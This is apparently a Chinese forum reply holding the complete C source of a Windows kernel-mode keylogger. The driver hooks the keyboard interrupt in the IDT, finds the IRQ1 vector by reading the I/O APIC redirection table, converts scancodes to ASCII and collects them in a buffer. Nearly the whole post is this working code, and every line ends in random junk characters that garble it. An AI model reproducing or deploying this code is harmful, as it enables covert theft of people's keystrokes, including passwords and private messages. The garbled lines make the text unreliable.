能力值:
( LV2,RANK:10 )
5 楼
修改中断描述符表(IDT)中的键盘入口实现按健记录,把读取到的键盘扫描码转换成 ascii 码记录下来。查找键盘入口采用了查询 IO APIC 的重定向寄存器的方法(通过把物理地址 0xFEC00000 映射为虚拟地址,然后读取键盘中断向量) 6s:Cpu
$b,?ug`h
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文字 M1#f@
#include <ntddk.h> ^mL S$X
#include <stdio.h> qtC0YP
!Y `.^<
#define MAX_CHARS 256 2ki;Z"#i
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16)) l*.)\(c
ZGjw G7-l
p< \:b]#6
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; a [blXbyfy
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64; ^6,Bu}Cf.w
v05-.V[\
// status register bits O"Nh) Wc
#define IBUFFER_FULL 0x02 w8H^ 7?=W
#define OBUFFER_FULL 0x01 s)KR7i4
FJ9P#yw2
// flags for keyboard status M%4tAA.\
#define S_SHIFT 1 }&voZzE@
#define S_CAPS 2 PJpdNJjY
#define S_NUM 4 %gl=3 S'(
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int kb_status = S_NUM; �d &sE4
[f+t p%/
/////////////////////////////////////////////////// omtJ(dSv
// IDT structures ^91EyaQc_
/////////////////////////////////////////////////// Ho: {~R
#pragma pack(1) To$!sA\uDS
u]?1d~q
// entry in the IDT, this is sometimes called Fs//dw46
// an "interrupt gate" aXi*N3<
typedef struct " u�'"[
{ '- -)z);
unsigned short LowOffset; 7D<E`o=`.H
unsigned short selector; #JPL$<h
unsigned char unused_lo; F~1~?<V%~
unsigned char segment_type:4; //0x0E is an interrupt gate t0p *N$/o
unsigned char system_segment_flag:1; yj G, +
unsigned char DPL:2; // descriptor privilege level aF`#-i
unsigned char P:1; /* present */ 8jWic"t
unsigned short HiOffset; pYFRP5+i
} IDTENTRY; 3+g\)4
vfV3 ^hP
/* sidt returns idt in this format */ a&'Y#4<7
typedef struct s_[nPC%Z
{ j1~o(bZ+h
unsigned short IDTLimit; <V/qfrkE
unsigned short LowIDTbase; .b%)P+m
unsigned short HiIDTbase; tk4y58_
} IDTINFO; GJ0AFOeY
1QRDG0$p
#pragma pack() .7;%g
:!�hNn F
int kb_int = 0x93; *'7KTF
kB@z*S
unsigned long old_ISR_pointer; 6`cf�3XT
unsigned char keystroke_buffer[MAX_CHARS]; \_R<c VUX
int kb_array_ptr=0; @@H8 �@
~_]~J;(
unsigned char asciiTbl[]={ (v? DJ
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal R7z
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73, ldf>v>1UE
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76, M`UZ:#S 5F
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, L�h6gdLe'F
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31, 1\bsX*A,
0x32, 0x33, 0x30, 0x2E, nU<7*'Y!
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps HCc1" j^o
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53, _kcfXn`1H/
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56, TL=tMR6~
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 9>pnya V+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31, $-}&k!Aybh
0x32, 0x33, 0x30, 0x2E, 2Kkbl@T*
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift !F[,V?58
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53, K;Myzk
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56, ~Ex4fD1C07
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, J}P:wX i
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31, o.[R&rl8
0x32, 0x33, 0x30, 0x2E, PE'zl?]x
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift _%#^-TM
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73, xXfMx-T 5
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76, #C*IoB2i9z
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, qf=S*y
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31, JfA`se.w
0x32, 0x33, 0x30, 0x2E v'!yC6/[
}; A0t=zo&}
\Oqc[Ck#v
ULONG WaitForKbRead() m`wHd}1
{ _[2i"UX0
int i = 100; S2Kh9/
UCHAR mychar; G ~j3|+�T
&<ZWGnE_
do Oq;r-#CL
{ ) J+BN
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 ); ,bm{@'&Oy
OqM9'\
KeStallExecutionProcessor(666); V0*}Nm#)!
N.'g/ "{:
if(!(mychar & OBUFFER_FULL)) break; PF41J
} E[.`W/0e6
while (i--); ;2dz.
-`RsV16f-w
if(i) return TRUE; D hHk �
return FALSE; aNZH 3}
} aVDKR:LML
=9~-9u
ULONG WaitForKbWrite() -q>+V 0FDM
{ -d_p&/�
int i = 100; \!Oo{p
UCHAR mychar; Hl)~(:dP
VG>K}
do >W}9J73k
{ &6 ZQ*P
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 ); EcLQPl
K qe&Da
KeStallExecutionProcessor(666); '!72I,B
3O-uP]H
if(!(mychar & IBUFFER_FULL)) break; qi_U\.D
} Lq<y"y
while (i--); piiJ}%�l
#jTmRs]Qt
if(i) return TRUE; G \ }(}R
return FALSE; :MC"K!q"E
} ~U}(f`;J
:=wxkhho
VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) o)Y/ktW,O
{ /O9J#jq
IDTINFO idt_info; VaDs5]^U
IDTENTRY* idt_entries; #xZWWk
char _t[255]; /XmM_91x
aXd4%x<
// load idt_info [jar|J!;
__asm sidt idt_info ^%$_`V*)
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); \UIC^-X
=BPC@z lU
DbgPrint("UnHooking Interrupt..."); C/Bxj<QAM
?G]ca[1I
// restore the original interrupt handler 9{(cAp4q
__asm cli '_G(Kq )
idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer; +n}}_X;af
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16); k9n1ct2qM
__asm sti Z0C,8@lL!
O*+$�N?.
DbgPrint("UnHooking Interrupt complete."); B ozn52a
etl~G
DbgPrint("Keystroke Buffer is: "); +kF4P3B
DbgPrint("%s", keystroke_buffer); 6#CyTu+
} VF~7|;,2
>,.t
// using stdcall means that this function fixes the stack before returning (opposite of cdecl) :tz/ZHDRa
void __stdcall print_keystroke() (Oo\hG%I
{ K8'E-N
UCHAR sch, ch = 0; rxaR=zK
int off = 0; EFp*~m}6
oNL}}mc4I
WaitForKbRead(); qD-B}yW
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60); %bf' 7amW4
if (sch == 0xE0) UO2' E\9bJ
{ S"]WP(
WaitForKbRead(); T�rBv<:|
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60); ~0+9rMre}
} CMZ/2ma+
/e L%VP
if (kb_status & S_CAPS) >\?+,1Sf)9
off += 0x54; 'EyT-sV
if (kb_status & S_SHIFT) V�ENK1"`tC
off += 0x54 * 2; 3Y+2|di/C
%B@9LXuTlI
if ((sch & 0x80) == 0) //make RV@Ibj
{ 0x$0nxy U
if ((sch < 0x47) || $8[IL$j#^t
((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock ?kF kg
{ h>n3 [
ch = asciiTbl[off+sch]; ll+e\I!1
} ? ?%5DG
/S^qd@vA
switch (sch) j6&.);
{ ynY%:&>0|
case 0x3A: 'jBeLN
kb_status ^= S_CAPS; B< cXnI
break; Gv#@)cW8(
VF .uz~!
case 0x2A: uQnTD
case 0x36: i:3Z�2F01
kb_status |= S_SHIFT; .N]^#}x
break; F'?:
xIz8oFd"F
case 0x45: 8wsl3>q
kb_status ^= S_NUM; Gn6CE/>gz
} Drpe8;O
} 3,is~]VCH
else //break ;gKj/^.5
{ $!$\
if (sch == 0xAA || sch == 0xB6) %Qk"*2"N:`
kb_status &= ~S_SHIFT; j8@�X%#b
} s>'&^DuF
1XjEi +r
if (ch >= 0x20 && ch < 0x7F) ] x;�;4X
{ G*4kl(=
keystroke_buffer[kb_array_ptr++] = ch; S}8jX=~
keystroke_buffer[kb_array_ptr] = '\0'; C-'<&Iw
if (kb_array_ptr >= MAX_CHARS-1) VC0UUj8{
{ sF!hW E'[
kb_array_ptr = 0; 4(aT/U=
} ,34$DY-
} H6VSFK
2hlx-,&H
//put scancode back (works on PS/2) PqJ�T$gy)
WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode uy6"HTzi
WaitForKbWrite(); X\r<Go
WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back TgnPeD*
} QiT;5}
T|$y`MpE�
// naked functions have no prolog/epilog code - they are functionally like the i}|fK1go
// target of a goto statement U=i 7j
__declspec(naked) my_interrupt_hook() q\x14E :
{ [ d6`g#A
__asm (Hl oj^)y
{ R~OF ph>F
pushad // save all general purpose registers ;IPc)M,pK
pushfd // save the flags register 2.-hW&VU]
call print_keystroke // call function DwI6 [GQQ
popfd // restore the flags :Dk,F3+
popad // restore the general registers D tGG{R
jmp old_ISR_pointer // goto the original ISR UFy? N
} 'xXkF}=
} 372k-AKr
m@�2{\
// Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf 4M.@yq
int search_irq1() O�8Q{=g9
{ ^y}aX^
unsigned char *pIoRegSel; M' }$Ra,%
unsigned char *pIoWin; %H>zo-e
unsigned char ch; sTzuE{^&+
~AA? KAG
PHYSICAL_ADDRESS phys; ."bCp
PVOID pAddr; WL,GW#{:
\Ykt*N6$L
phys.u.LowPart = 0xFEC00000; \2]3vKT
pAddr = MmMapIoSpace(phys, 0x14, MmNonCached); fmsz\�i~
if (pAddr == NULL) eqo%9%
return 0; 9fskaK2E
;_TG^
pIoRegSel = (unsigned char *)pAddr; 009z hM
pIoWin = (unsigned char *)(pAddr) + 0x10; s3mP@P
8h1'a*->
/* z$Ar3
{ OqyM(0d4\
int i; }&J:.;Zn
unsigned char j; _Z\Vtw5"
PCV%Zj[B
for (i = 0, j = 0x10; i <= 0x17; i++, j += 2) okPhby]
{ *C_1Z%ptu}
*pIoRegSel = j; `N,[Q'S
ch = *pIoWin; E0_+#`
DbgPrint("RedTbl[%02d]: 0x%02X\n", i, ch); CqT5�%Oj,$
} /epD\zF;
} Qnew93
*/ lu%YoC
lF75TXV|%
*pIoRegSel = 0x12; // irq1 h+9k@
ch = *pIoWin; t*xA5~%iC
p;7+U!ES
MmUnmapIoSpace(pAddr, 0x14); .PT;)^lq=
z6,b#7tEWC
return (int)ch; <Q/V HR]
} }nuS
UT3GF9aG
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) )CO0i5
{ $3UL g8G
IDTINFO idt_info; >REY.>by#
IDTENTRY* idt_entries; DXo[tT;$:
char _t[255]; 26XL_5M
5vb|cn;{4v
theDriverObject->DriverUnload = OnUnload; :Jkb<B$-
V97O\ik;I
kb_int = search_irq1(); ua5(f~=
DbgPrint("kb _int = 0x%02X\n", kb_int); [8zCL
_5)d(ju
// load idt_info <1t{v<&Z
__asm sidt idt_info d\Ktox" "
]q`%$c`+h
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); 2K@~9
V.^RrzF
DbgPrint("Hooking Interrupt..."); b6Mjsng
old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset); 7(IG,;N
12"k-B<
// remember we disable interrupts while we patch the table >!dxmY0d Y
__asm cli %0u`@$\u4
idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook; |vEe3|?bG
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16); c55wA92L
__asm sti Y+S/ ^4
[_ya Jp
DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08X\n", old_ISR_pointer, my_interrupt_hook); fwt3?;K
wET+5Sx/�
return STATUS_SUCCESS; "[8@_|%
// return STATUS_DEVICE_CONFIGURATION_ERROR; ?$NiZXJ
}